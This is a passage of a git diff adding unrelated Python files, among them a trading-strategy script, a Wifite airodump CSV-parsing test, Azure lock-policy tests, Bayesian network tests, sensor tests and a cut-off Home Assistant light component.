+            if ctx.ma5[2] < ctx.ma10[2] and ctx.ma5[1] > ctx.ma10[1]:
+                ctx.buy(ctx.close, 1)
+            elif ctx.pos() > 0 and ctx.ma5[2] > ctx.ma10[2] and \
+                 ctx.ma5[1] < ctx.ma10[1]:
+                ctx.sell(ctx.close, ctx.pos())
+
+    def on_exit(self, ctx):
+        return
+
+if __name__ == '__main__':
+    ConfigUtil.set(source="tushare")
+    set_symbols(['300383'])
+    # 创建组合策略
+    # 初始资金5000， 两个策略的资金配比为0.2:0.8
+    profile = add_strategy([DemoStrategy('A1'), DemoStrategy2('A2')], { 'captial': 5000,
+                              'ratio': [0.2, 0.8] })
+    run()
+
+    # 绘制k线，交易信号线
+    from quantdigger.digger import finance, plotting
+    plotting.plot_strategy(profile.data(0), profile.indicators(1), profile.deals(1))
+    # 绘制策略A1, 策略A2, 组合的资金曲线
+    curve0 = finance.create_equity_curve(profile.all_holdings(0))
+    curve1 = finance.create_equity_curve(profile.all_holdings(1))
+    curve = finance.create_equity_curve(profile.all_holdings())
+    plotting.plot_curves([curve0.equity, curve1.equity, curve.equity],
+                        colors=['r', 'g', 'b'],
+                        names=[profile.name(0), profile.name(1), 'A0'])
+    # 绘制净值曲线
+    plotting.plot_curves([curve.networth])
+    # 打印统计信息
+    six.print_(finance.summary_stats(curve, 252*4*60))
\ No newline at end of file
diff --git a/pool/shard000/Python/0008575_test_Airodump.py b/pool/shard000/Python/0008575_test_Airodump.py
new file mode 100644
index 0000000000000000000000000000000000000000..b67164058b5db7dc8a095192fc92c6a77ca3edb4
--- /dev/null
+++ b/pool/shard000/Python/0008575_test_Airodump.py
@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import sys
+sys.path.insert(0, '..')
+
+from wifite.tools.airodump import Airodump
+
+import unittest
+
+class TestAirodump(unittest.TestCase):
+    ''' Test suite for Wifite's interaction with the Airodump tool '''
+
+
+    def test_airodump_weird_characters(self):
+        csv_filename = self.getFile('airodump-weird-ssids.csv')
+        targets = Airodump.get_targets_from_csv(csv_filename)
+
+        target = targets[0]
+        expected = 'Comma, no trailing space'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[1]
+        expected = '"Quoted ESSID, Comma, no trailing spaces.   "'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[2]
+        expected = 'Comma, Trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[3]
+        expected = '"quote" comma, trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        # Hidden access point
+        target = targets[4]
+        assert target.essid_known == False, 'ESSID full of null characters should not be known'
+        expected = None
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+        assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len
+
+
+    def getFile(self, filename):
+        ''' Helper method to parse targets from filename '''
+        import os, inspect
+        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
+        this_dir = os.path.dirname(this_file)
+        return os.path.join(this_dir, 'files', filename)
+
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0008577_parser.py b/pool/shard000/Python/0008577_parser.py
new file mode 100644
index 0000000000000000000000000000000000000000..997d732c77c95bc9a3efaacfdeb4727aa594bf86
--- /dev/null
+++ b/pool/shard000/Python/0008577_parser.py
@@ -0,0 +1,84 @@
+#! /usr/bin/env python
+
+# Copyright (C) 2011-2013 Philipp Benner
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+import re
+
+from ..interface import *
+from ..dpm       import *
+
+# parse results partition
+# ------------------------------------------------------------------------------
+
+def parse_partition_identifier(partition_str, end):
+    # start is the position of '{', we want the identifier
+    # before this bracket
+    start = 0
+    if not partition_str[end-1] == ':':
+        raise IOError('Invalid partition.')
+    for i in range(end-1,-1,-1):
+        if (partition_str[i] == ' ' or partition_str[i] == ','):
+            start = i+1
+            break
+    return partition_str[start:end-1]
+
+def parse_partition_subsets(partition_str):
+    """Split the partition string into a list of its subsets."""
+    stack = []
+    for i, c in enumerate(partition_str):
+        if c == '{':
+            stack.append(i)
+        elif c == '}' and stack:
+            start      = stack.pop()
+            identifier = parse_partition_identifier(partition_str, start)
+            yield identifier, partition_str[start + 1: i]
+
+def parse_partition_elements(subset_str, length):
+    """Split the string of a subset into its elements and parse them."""
+    stack = []
+    for i, c in enumerate(subset_str):
+        if c == '(':
+            stack.append(i)
+        elif c == ')' and stack:
+            start  = stack.pop()
+            index  = subset_str[start + 1: i].split(',')
+            rc     = len(subset_str) > i+1 and subset_str[i+1] == '!'
+            yield range_t(index_t(int(index[0]), int(index[1])), length, rc)
+
+def parse_partition(partition_str):
+    partition = dpm_partition_t()
+    if (partition_str.strip() == "-"):
+        return partition
+    for identifier, subset in parse_partition_subsets(partition_str):
+        model_id        = model_id_t()
+        model_id.name   = identifier.split(":")[0]
+        model_id.length = int(identifier.split(":")[1])
+        dpm_subset = dpm_subset_t(model_id)
+        for r in parse_partition_elements(subset, model_id.length):
+            dpm_subset.insert(r)
+        partition.append(dpm_subset)
+    return partition
+
+# parse partition list
+# ------------------------------------------------------------------------------
+
+def parse_partition_list(partition_list_str):
+    partition_list = dpm_partition_list_t()
+    for partition_str in partition_list_str.split('\n'):
+        if (partition_str.strip() != ""):
+            partition_list.append(parse_partition(partition_str))
+    return partition_list
diff --git a/pool/shard000/Python/0008579_test_lock_action.py b/pool/shard000/Python/0008579_test_lock_action.py
new file mode 100644
index 0000000000000000000000000000000000000000..523e9d2aa42b70c0cd4d44a6d0426387bdf5f873
--- /dev/null
+++ b/pool/shard000/Python/0008579_test_lock_action.py
@@ -0,0 +1,174 @@
+# Copyright 2019 Microsoft Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from azure_common import BaseTest, arm_template
+from c7n_azure.utils import ResourceIdParser
+from jsonschema.exceptions import ValidationError
+from c7n_azure.session import Session
+
+from c7n.utils import local_session
+
+
+class LockActionTest(BaseTest):
+
+    def setUp(self):
+        super(LockActionTest, self).setUp()
+        self.client = local_session(Session).client(
+            'azure.mgmt.resource.locks.ManagementLockClient')
+        self.resources = []
+
+    def tearDown(self):
+        if self.resources:
+            self.assertEqual(len(self.resources), 1)
+            resource = self.resources[0]
+            if resource.get('resourceGroup') is None:
+                self.client.management_locks.delete_at_resource_group_level(
+                    resource['name'],
+                    resource['lock'])
+            else:
+                self.client.management_locks.delete_at_resource_level(
+                    resource['resourceGroup'],
+                    ResourceIdParser.get_namespace(resource['id']),
+                    ResourceIdParser.get_resource_name(resource.get('c7n:parent-id')) or '',
+                    ResourceIdParser.get_resource_type(resource['id']),
+                    resource['name'],
+                    resource['lock']
+                )
+
+    def test_valid_policy(self):
+        policy = {
+            'name': 'lock-cosmosdb',
+            'resource': 'azure.cosmosdb',
+            'actions': [
+                {
+                    'type': 'lock',
+                    'lock-type': 'ReadOnly'
+                }
+            ],
+        }
+
+        self.assertTrue(self.load_policy(data=policy, validate=True))
+
+    def test_invalid_policy(self):
+        # Missing lock-type parameter
+        policy = {
+            'name': 'lock-cosmosdb',
+            'resource': 'azure.cosmosdb',
+            'actions': [
+                {
+                    'type': 'lock'
+                }
+            ],
+        }
+
+        with self.assertRaises(ValidationError):
+            self.load_policy(data=policy, validate=True)
+
+    @arm_template('cosmosdb.json')
+    def test_lock_action_resource(self):
+        p = self.load_policy({
+            'name': 'lock-cosmosdb',
+            'resource': 'azure.cosmosdb',
+            'filters': [
+                {
+                    'type': 'value',
+                    'key': 'name',
+                    'value': 'cctestcosmosdb'
+                }
+            ],
+            'actions': [
+                {
+                    'type': 'lock',
+                    'lock-type': 'ReadOnly'
+                }
+            ],
+        })
+        self.resources = p.run()
+        self.assertEqual(len(self.resources), 1)
+        self.assertEqual(self.resources[0]['name'], 'cctestcosmosdb')
+
+        locks = [r.serialize(True) for r in self.client.management_locks.list_at_resource_level(
+            'test_cosmosdb',
+            'Microsoft.DocumentDB',
+            '',
+            'databaseAccounts',
+            'cctestcosmosdb')]
+
+        self.assertEqual(len(locks), 1)
+        self.assertEqual(locks[0]['properties']['level'], 'ReadOnly')
+        self.resources[0]['lock'] = locks[0]['name']
+
+    @arm_template('cosmosdb.json')
+    def test_lock_action_resource_group(self):
+        p = self.load_policy({
+            'name': 'lock-cosmosdb-rg',
+            'resource': 'azure.resourcegroup',
+            'filters': [
+                {
+                    'type': 'value',
+                    'key': 'name',
+                    'value': 'test_cosmosdb'
+                }
+            ],
+            'actions': [
+                {
+                    'type': 'lock',
+                    'lock-type': 'CanNotDelete'
+                }
+            ],
+        })
+        self.resources = p.run()
+        self.assertEqual(len(self.resources), 1)
+        self.assertEqual(self.resources[0]['name'], 'test_cosmosdb')
+
+        locks = [r.serialize(True) for r in
+                 self.client.management_locks.list_at_resource_group_level('test_cosmosdb')]
+
+        self.assertEqual(len(locks), 1)
+        self.assertEqual(locks[0]['properties']['level'], 'CanNotDelete')
+        self.resources[0]['lock'] = locks[0]['name']
+
+    @arm_template('sqlserver.json')
+    def test_lock_action_child_resource(self):
+        p = self.load_policy({
+            'name': 'lock-sqldatabase',
+            'resource': 'azure.sqldatabase',
+            'filters': [
+                {
+                    'type': 'value',
+                    'key': 'name',
+                    'value': 'cctestdb'
+                }
+            ],
+            'actions': [
+                {
+                    'type': 'lock',
+                    'lock-type': 'CanNotDelete'
+                }
+            ],
+        })
+        self.resources = p.run()
+        self.assertEqual(len(self.resources), 1)
+        self.assertEqual(self.resources[0]['name'], 'cctestdb')
+
+        locks = [r.serialize(True) for r in self.client.management_locks.list_at_resource_level(
+            'test_sqlserver',
+            'Microsoft.Sql/servers',
+            ResourceIdParser.get_resource_name(self.resources[0]['c7n:parent-id']),
+            'databases',
+            'cctestdb')]
+
+        self.assertEqual(len(locks), 1)
+        self.assertEqual(locks[0]['properties']['level'], 'CanNotDelete')
+        self.resources[0]['lock'] = locks[0]['name']
diff --git a/pool/shard000/Python/0008586_init__.py b/pool/shard000/Python/0008586_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..d747d69b3bcc1907f4972281b525c7aa092197bc
--- /dev/null
+++ b/pool/shard000/Python/0008586_init__.py
@@ -0,0 +1,96 @@
+# encoding: utf-8
+"""
+This module contains the sole class named :class:`AKB48`.
+"""
+
+import member as _member
+import types
+
+__all__ = [
+    'AKB48',
+    ]
+
+class AKB48(object):
+    """
+    This class handles queries against AKB48's members.
+
+    Synopsys:
+
+    >>> a48 = AKB48()
+    >>> a48.members()
+    (list of all the AKB48 members)
+    >>> a48.members('active')
+    (list of all the AKB48 members who are not graduated)
+    >>> a48.members('graduate')
+    (list of all the AKB48 members who are graduated)
+    >>> a48.select(team='A', _class=7)
+    (select all of the AKB48 members who belongs to team A and class 7)
+    """
+    def __init__(self):
+        """Constructor"""
+        self.__members = [getattr(_member, name).info() for name in dir(_member) if isinstance(getattr(_member, name), types.ModuleType)]
+
+    def members(self, type=None):
+        """
+        Queries members against the AKB48 member database.
+
+        :param type: which type of members to filter out
+
+            'active'
+               return only active members
+            'graduate'
+               return only graduate members
+        """
+        if type is None:
+            return self.__members 
+        elif type == 'active':
+            return [member for member in self.__members if member['graduate_date'] is None]
+        elif type == 'graduate':
+            return [member for member in self.__members if member['graduate_date'] is not None]
+        else:
+            raise ValueError("invalid type: %s" % type)
+
+    def select(self, **kwargs):
+        """
+        Queries members against the AKB48 member database in detail.
+
+        Note that this method only takes keyword arguments.
+
+        :param type: filter by member type
+
+            'active'
+               return only active members
+            'graduate'
+               return only graduate members
+
+        :param _class: filter by member class
+        :param team: filter by the team where members belong
+        :param family_name_en: filter by the romaji representation of the members' family name
+        :param first_name_en: filter by the romaji representation of the members' first name
+        :param family_name_kana: filter by the hiragana representation of the members' family name
+        :param first_name_kana: filter by the hiragana representation of the members' first name
+        :param birthday: filter by birthday
+        :param graduate_date: filter by graduate date
+        :param hometown: filter by the name of the home town
+        :param nick: filter by nickname
+        """
+        retval = []
+        type = kwargs.get('type')
+        if type is not None:
+            del kwargs['type']
+        klass = kwargs.get('_class')
+        if klass is not None:
+            del kwargs['_class']
+            kwargs['class'] = klass
+        for member in self.__members:
+            matches = True
+            for k, v in kwargs.iteritems():
+                matches = matches and member[k] == v
+            if type is not None:
+                if type == 'active':
+                    matches = matches and member['graduate_date'] is None
+                elif type == 'graduate':
+                    matches = matches and member['graduate_date'] is not None
+            if matches:
+                retval.append(member)
+        return retval
diff --git a/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py b/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py
new file mode 100644
index 0000000000000000000000000000000000000000..c485a7c0f504cbc3b5776fb40e315a1fb71bbdfe
--- /dev/null
+++ b/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py
@@ -0,0 +1,82 @@
+from __future__ import division
+import pytest
+
+import os
+
+from bayesian.gaussian import MeansVector, CovarianceMatrix
+from bayesian.gaussian_bayesian_network import *
+from bayesian.examples.gaussian_bayesian_networks.river import (
+    f_a, f_b, f_c, f_d)
+
+
+def pytest_funcarg__river_graph(request):
+    g = build_graph(f_a, f_b, f_c, f_d)
+    return g
+
+
+class TestGBN():
+
+    def test_get_joint_parameters(self, river_graph):
+        mu, sigma = river_graph.get_joint_parameters()
+        assert mu == MeansVector(
+            [[3],
+             [4],
+             [9],
+             [14]],
+            names=['a', 'b', 'c', 'd'])
+        assert sigma == CovarianceMatrix(
+            [[4, 4, 8, 12],
+             [4, 5, 8, 13],
+             [8, 8, 20, 28],
+             [12, 13, 28, 42]],
+            names=['a', 'b', 'c', 'd'])
+
+    def test_query(self, river_graph):
+        result = river_graph.query(a=7)
+        mu = result['joint']['mu']
+        sigma = result['joint']['sigma']
+        assert mu == MeansVector([
+            [8],
+            [17],
+            [26]], names=['b', 'c', 'd'])
+        assert sigma == CovarianceMatrix(
+            [[1, 0, 1],
+             [0, 4, 4],
+             [1, 4, 6]],
+            names=['b', 'c', 'd'])
+
+        result = river_graph.query(a=7, c=17)
+        mu = result['joint']['mu']
+        sigma = result['joint']['sigma']
+        assert mu == MeansVector([
+            [8],
+            [26]], names=['b', 'd'])
+        assert sigma == CovarianceMatrix(
+            [[1, 1],
+             [1, 2]],
+            names=['b', 'd'])
+
+        result = river_graph.query(a=7, c=17, b=8)
+        mu = result['joint']['mu']
+        sigma = result['joint']['sigma']
+        assert mu == MeansVector([
+            [26]], names=['d'])
+        assert sigma == CovarianceMatrix(
+            [[1]],
+            names=['d'])
+
+    def test_assignment_of_joint_parameters(self, river_graph):
+        assert river_graph.nodes['b'].func.joint_mu == MeansVector([
+            [3],
+            [4]], names=['a', 'b'])
+        assert river_graph.nodes['b'].func.covariance_matrix == CovarianceMatrix([
+            [4, 4],
+            [4, 5]], names=['a', 'b'])
+
+
+    def test_gaussian_pdf(self, river_graph):
+        assert round(river_graph.nodes['a'].func(3), 4) == 0.1995
+        assert round(river_graph.nodes['a'].func(10), 4) == 0.0002
+
+    def test_multivariate_gaussian_pdf(self, river_graph):
+        assert round(river_graph.nodes['d'].func(3, 1, 3), 4) == 0.0005
diff --git a/pool/shard000/Python/0008590_config.py b/pool/shard000/Python/0008590_config.py
new file mode 100644
index 0000000000000000000000000000000000000000..b4eda22156470e3893c4d053ba5d72ad07a39992
--- /dev/null
+++ b/pool/shard000/Python/0008590_config.py
@@ -0,0 +1,31 @@
+from __future__ import print_function, division, absolute_import
+
+import os
+try:
+    import yaml
+except ImportError:
+    config = {}
+else:
+    dirname = os.path.dirname(__file__)
+    default_path = os.path.join(dirname, 'config.yaml')
+    dask_config_path = os.path.join(os.path.expanduser('~'), '.dask', 'config.yaml')
+
+
+    def ensure_config_file(destination=dask_config_path):
+        if not os.path.exists(destination):
+            import shutil
+            if not os.path.exists(os.path.dirname(destination)):
+                os.mkdir(os.path.dirname(destination))
+            shutil.copy(default_path, destination)
+
+
+    def load_config_file(path=dask_config_path):
+        if not os.path.exists(path):
+            path = default_path
+        with open(path) as f:
+            text = f.read()
+            return yaml.load(text)
+
+
+    ensure_config_file()
+    config = load_config_file()
diff --git a/pool/shard000/Python/0008596_test_sensor.py b/pool/shard000/Python/0008596_test_sensor.py
new file mode 100644
index 0000000000000000000000000000000000000000..d8842c6c580c0760dc87fddac907c23438616e6f
--- /dev/null
+++ b/pool/shard000/Python/0008596_test_sensor.py
@@ -0,0 +1,158 @@
+from pypozyx import *
+from pypozyx.definitions.registers import POZYX_TEMPERATURE, POZYX_PRESSURE, POZYX_MAX_LIN_ACC
+
+from time import sleep
+
+
+# TODO: other structures than the new ones
+
+# CONVERSIONS
+
+
+def test_conversions(pozyx, remote):
+    assert POZYX_ACCEL_DIV_MG == 16.0, "POZYX_ACCEL_DIV_MG wrong, should be 16.0"
+    assert POZYX_MAX_LIN_ACCEL_DIV_MG == 1.0, "POZYX_MAX_LIN_ACCEL_DIV_MG wrong, should be 1.0"
+    assert POZYX_GYRO_DIV_DPS == 16.0, "POZYX_GYRO_DIV_DPS wrong, should be 16.0"
+    assert POZYX_PRESS_DIV_PA == 1000.0, "POZYX_PRESS_DIV_PA wrong, should be 1000.0"
+    assert POZYX_TEMP_DIV_CELSIUS == 1.0, "POZYX_TEMP_DIV_CELSIUS wrong, should be 1.0"
+    # TODO: more
+
+# TEMPERATURE
+
+
+def test_temperature_class(pozyx, remote):
+    temperature = Temperature()
+    other_temperature = Temperature()
+    assert temperature == other_temperature, "default temperature objects aren't equal"
+    raw_temperature = Data([0], 'b')
+    assert raw_temperature == temperature, "temperature not right format of Data([0], 'b')"
+
+
+def test_raw_temperature_read(pozyx, remote):
+    raw_temperature = Data([0], 'b')
+    status = pozyx.getRead(POZYX_TEMPERATURE, raw_temperature)
+    assert status == POZYX_SUCCESS, "raw read of temperature unsuccessful"
+    assert type(raw_temperature[0]) == type(
+        1), "temperature value is not an int"
+
+
+def test_temperature_read(pozyx, remote):
+    temperature = Temperature()
+    status = pozyx.getTemperature_c(temperature, remote)
+    assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful"
+    assert type(temperature.value) == type(
+        1.0), "temperature value is not a float"
+    assert temperature.value > 0, "temperature is freezing"
+    assert temperature.value < 150, "temperature is way too hot"
+    float_remainder = temperature.value - int(temperature.value)
+    assert float_remainder < 0.01, "temperature accuracy not 1 °C"
+
+
+def test_temperature_conversion(pozyx, remote):
+    temperature = Temperature()
+    status = pozyx.getTemperature_c(temperature, remote)
+    assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful"
+    raw_temperature = Data([0], 'b')
+    status = pozyx.getRead(POZYX_TEMPERATURE, raw_temperature)
+    assert status == POZYX_SUCCESS, "raw read of temperature unsuccessful"
+    assert int(temperature.value *
+               POZYX_TEMP_DIV_CELSIUS) == raw_temperature[0], "conversion isn't right"
+
+
+# PRESSURE
+
+
+def test_pressure_class(pozyx, remote):
+    pressure = Pressure()
+    other_pressure = Pressure()
+    assert pressure == other_pressure, "default pressure objects aren't equal"
+    raw_pressure = Data([0], 'I')
+    assert raw_pressure == pressure, "pressure not right format of Data([0], 'I')"
+
+
+def test_raw_pressure_read(pozyx, remote):
+    raw_pressure = Data([0], 'I')
+    status = pozyx.getRead(POZYX_PRESSURE, raw_pressure)
+    assert status == POZYX_SUCCESS, "raw read of pressure unsuccessful"
+    assert type(raw_pressure[0]) == type(
+        1), "pressure value is not an int"
+
+
+def test_pressure_read(pozyx, remote):
+    pressure = Pressure()
+    status = pozyx.getPressure_Pa(pressure, remote)
+    assert status == POZYX_SUCCESS, "getPressure_c unsuccessful"
+    assert type(pressure.value) == type(
+        1.0), "pressure value is not a float"
+
+
+def test_pressure_conversion(pozyx, remote):
+    pressure = Pressure()
+    status = pozyx.getPressure_Pa(pressure, remote)
+    assert status == POZYX_SUCCESS, "getTemperature_c unsuccessful"
+    raw_pressure = Data([0], 'I')
+    status = pozyx.getRead(POZYX_PRESSURE, raw_pressure)
+    assert status == POZYX_SUCCESS, "raw read of pressure unsuccessful"
+    assert int(pressure.value *
+               POZYX_PRESS_DIV_PA) == raw_pressure[0], "conversion isn't right"
+
+
+# MAX_LINEAR_ACCELERATION
+
+
+def test_max_linear_acceleration_class(pozyx, remote):
+    max_linear_acceleration = MaxLinearAcceleration()
+    other_max_linear_acceleration = MaxLinearAcceleration()
+    assert max_linear_acceleration == other_max_linear_acceleration, "default max_linear_acceleration objects aren't equal"
+    raw_max_linear_acceleration = Data([0], 'h')
+    assert raw_max_linear_acceleration == max_linear_acceleration, "max_linear_acceleration not right format of Data([0], 'h')"
+    sleep(0.01)
+
+
+def test_raw_max_linear_acceleration_read(pozyx, remote):
+    raw_max_linear_acceleration = Data([0], 'h')
+    status = pozyx.getRead(POZYX_MAX_LIN_ACC, raw_max_linear_acceleration)
+    assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful"
+    assert type(raw_max_linear_acceleration[0]) == type(
+        1), "max_linear_acceleration value is not an int"
+    sleep(0.01)
+
+
+def test_max_linear_acceleration_read(pozyx, remote):
+    max_linear_acceleration = MaxLinearAcceleration()
+    status = pozyx.getMaxLinearAcceleration_mg(max_linear_acceleration, remote)
+    assert status == POZYX_SUCCESS, "getMaxLinearAcceleration_mg unsuccessful"
+    assert type(max_linear_acceleration.value) == type(
+        1.0), "max_linear_acceleration value is not a float"
+    float_remainder = max_linear_acceleration.value - \
+        int(max_linear_acceleration.value)
+    assert float_remainder < 0.01, "max_linear_acceleration accuracy not 1 mg"
+    sleep(0.01)
+
+
+def test_max_linear_acceleration_conversion(pozyx, remote):
+    raw_max_linear_acceleration = Data([0], 'h')
+    status = pozyx.getRead(POZYX_MAX_LIN_ACC, raw_max_linear_acceleration)
+    assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful"
+    max_linear_acceleration = MaxLinearAcceleration(
+        raw_max_linear_acceleration[0])
+    assert status == POZYX_SUCCESS, "raw read of max_linear_acceleration unsuccessful"
+    assert int(max_linear_acceleration.value *
+               POZYX_MAX_LIN_ACCEL_DIV_MG) == raw_max_linear_acceleration[0], "conversion isn't right"
+
+
+# SENSOR DATA
+
+def test_all_sensor_data(pozyx, remote):
+    all_sensor_data = SensorData()
+    status = pozyx.getAllSensorData(all_sensor_data)
+    assert status == POZYX_SUCCESS, "getAllSensorData not successful"
+
+
+# ACCELERATION
+
+
+def test_acceleration(pozyx, remote):
+    acceleration = Acceleration()
+    status = pozyx.getAcceleration_mg(acceleration)
+    assert status == POZYX_SUCCESS, "getAcceleration_mg not successful"
diff --git a/pool/shard000/Python/0008599_init__.py b/pool/shard000/Python/0008599_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b0af395d02f4eb05a7709c1b6d2b068579d8437
--- /dev/null
+++ b/pool/shard000/Python/0008599_init__.py
@@ -0,0 +1,290 @@
+"""
+Provides functionality to interact with lights.
+
+For more details about this component, please refer to the documentation at
+https://home-assistant.io/components/light/
+"""
+import logging
+import os
+import csv
+
+import voluptuous as vol
+
+from homeassistant.components import group
+from homeassistant.config import load_yaml_config_file
+from homeassistant.const import (
+    STATE_ON, SERVICE_TURN_ON, SERVICE_TURN_OFF, SERVICE_TOGGLE,
+    ATTR_ENTITY_ID)
+from homeassistant.helpers.entity import ToggleEntity
+from homeassistant.helpers.entity_component import EntityComponent
+from homeassistant.helpers.config_validation import PLATFORM_SCHEMA  # noqa
+import homeassistant.helpers.config_validation as cv
+import homeassistant.util.color as color_util
+
+
+DOMAIN = "light"
+SCAN_INTERVAL = 30
+
+GROUP_NAME_ALL_LIGHTS = 'all lights'
+ENTITY_ID_ALL_LIGHTS = group.ENTITY_ID_FORMAT.format('all_lights')
+
+ENTITY_ID_FORMAT = DOMAIN + ".{}"
+
+# Integer that represents transition time in seconds to make change.
+ATTR_TRANSITION = "transition"
+
+# Lists holding color values
+ATTR_RGB_COLOR = "rgb_color"
+ATTR_XY_COLOR = "xy_color"
+ATTR_COLOR_TEMP = "color_temp"
+ATTR_COLOR_NAME = "color_name"
+
+# int with value 0 .. 255 representing brightness of the light.
+ATTR_BRIGHTNESS = "brightness"
+
+# String representing a profile (built-in ones or external defined).
+ATTR_PROFILE = "profile"
+
+# If the light should flash, can be FLASH_SHORT or FLASH_LONG.
+ATTR_FLASH = "flash"
+FLASH_SHORT = "short"
+FLASH_LONG = "long"
+
+# Apply an effect to the light, can be EFFECT_COLORLOOP.
+ATTR_EFFECT = "effect"
+EFFECT_COLORLOOP = "colorloop"
+EFFECT_RANDOM = "random"
+EFFECT_WHITE = "white"
+
+LIGHT_PROFILES_FILE = "light_profiles.csv"
+
+PROP_TO_ATTR = {
+    'brightness': ATTR_BRIGHTNESS,
+    'color_temp': ATTR_COLOR_TEMP,
+    'rgb_color': ATTR_RGB_COLOR,
+    'xy_color': ATTR_XY_COLOR,
+}
+
+# Service call validation schemas
+VALID_TRANSITION = vol.All(vol.Coerce(int), vol.Clamp(min=0, max=900))
+
+LIGHT_TURN_ON_SCHEMA = vol.Schema({
+    ATTR_ENTITY_ID: cv.entity_ids,
+    ATTR_PROFILE: str,
+    ATTR_TRANSITION: VALID_TRANSITION,
+    ATTR_BRIGHTNESS: cv.byte,
+    ATTR_COLOR_NAME: str,
+    ATTR_RGB_COLOR: vol.All(vol.ExactSequence((cv.byte, cv.byte, cv.byte)),
+                            vol.Coerce(tuple)),
+    ATTR_XY_COLOR: vol.All(vol.ExactSequence((cv.small_float, cv.small_float)),
+                           vol.Coerce(tuple)),
+    ATTR_COLOR_TEMP: vol.All(int, vol.Range(min=154, max=500)),
+    ATTR_FLASH: vol.In([FLASH_SHORT, FLASH_LONG]),
+    ATTR_EFFECT: vol.In([EFFECT_COLORLOOP, EFFECT_RANDOM, EFFECT_WHITE]),
+})
+
+LIGHT_TURN_OFF_SCHEMA = vol.Schema({
+    ATTR_ENTITY_ID: cv.entity_ids,
+    ATTR_TRANSITION: VALID_TRANSITION,
+})
+
+LIGHT_TOGGLE_SCHEMA = vol.Schema({
+    ATTR_ENTITY_ID: cv.entity_ids,
+    ATTR_TRANSITION: VALID_TRANSITION,
+})
+
+PROFILE_SCHEMA = vol.Schema(
+    vol.ExactSequence((str, cv.small_float, cv.small_float, cv.byte))
+)
+
+_LOGGER = logging.getLogger(__name__)
+
+
+def is_on(hass, entity_id=None):
+    """Return if the lights are on based on the statemachine."""
+    entity_id = entity_id or ENTITY_ID_ALL_LIGHTS
+    return hass.states.is_state(entity_id, STATE_ON)
+
+
+# pylint: disable=too-many-arguments
+def turn_on(hass, entity_id=None, transition=None, brightness=None,
+            rgb_color=None, xy_color=None, color_temp=None, profile=None,
+            flash=None, effect=None, color_name=None):
+    """Turn all or specified light on."""
+    data = {
+        key: value for key, value in [
+            (ATTR_ENTITY_ID, entity_id),
+            (ATTR_PROFILE, profile),
+            (ATTR_TRANSITION, transition),
+            (ATTR_BRIGHTNESS, brightness),
+            (ATTR_RGB_COLOR, rgb_color),
+            (ATTR_XY_COLOR, xy_color),
+            (ATTR_COLOR_TEMP, color_temp),
+            (ATTR_FLASH, flash),
+            (ATTR_EFFECT, effect),
+            (ATTR_COLOR_NAME, color_name),
+        ] if value is not None
+    }
+
+    hass.services.call(DOMAIN, SERVICE_TURN_ON, data)
+
+
+def turn_off(hass, entity_id=None, transition=None):
+    """Turn all or specified light off."""
+    data = {
+        key: value for key, value in [
+            (ATTR_ENTITY_ID, entity_id),
+            (ATTR_TRANSITION, transition),
+        ] if value is not None
+    }
+
+    hass.services.call(DOMAIN, SERVICE_TURN_OFF, data)
+
+
+def toggle(hass, entity_id=None, transition=None):
+    """Toggle all or specified light."""
+    data = {
+        key: value for key, value in [
+            (ATTR_ENTITY_ID, entity_id),
+            (ATTR_TRANSITION, transition),
+        ] if value is not None
+    }
+
+    hass.services.call(DOMAIN, SERVICE_TOGGLE, data)
+
+
+# pylint: disable=too-many-branches, too-many-locals, too-many-statements
+def setup(hass, config):
+    """Expose light control via statemachine and services."""
+    component = EntityComponent(
+        _LOGGER, DOMAIN, hass, SCAN_INTERVAL, GROUP_NAME_ALL_LIGHTS)
+    component.setup(config)
+
+    # Load built-in profiles and custom profiles
+    profile_paths = [os.path.join(os.path.dirname(__file__),
+                                  LIGHT_PROFILES_FILE),
+                     hass.config.path(LIGHT_PROFILES_FILE)]
+    profiles = {}
+
+    for profile_path in profile_paths:
+        if not os.path.isfile(profile_path):
+            continue
+        with open(profile_path) as inp:
+            reader = csv.reader(inp)
+
+            # Skip the header
+            next(reader, None)
+
+            try:
+                for rec in reader:
+                    profile, color_x, color_y, brightness = PROFILE_SCHEMA(rec)
+                    profiles[profile] = (color_x, color_y, brightness)
+            except vol.MultipleInvalid as ex:
+                _LOGGER.error("Error parsing light profile from %s: %s",
+                              profile_path, ex)
+                return False
+
+    def handle_light_service(service):
+        """Hande a turn light on or off service call."""
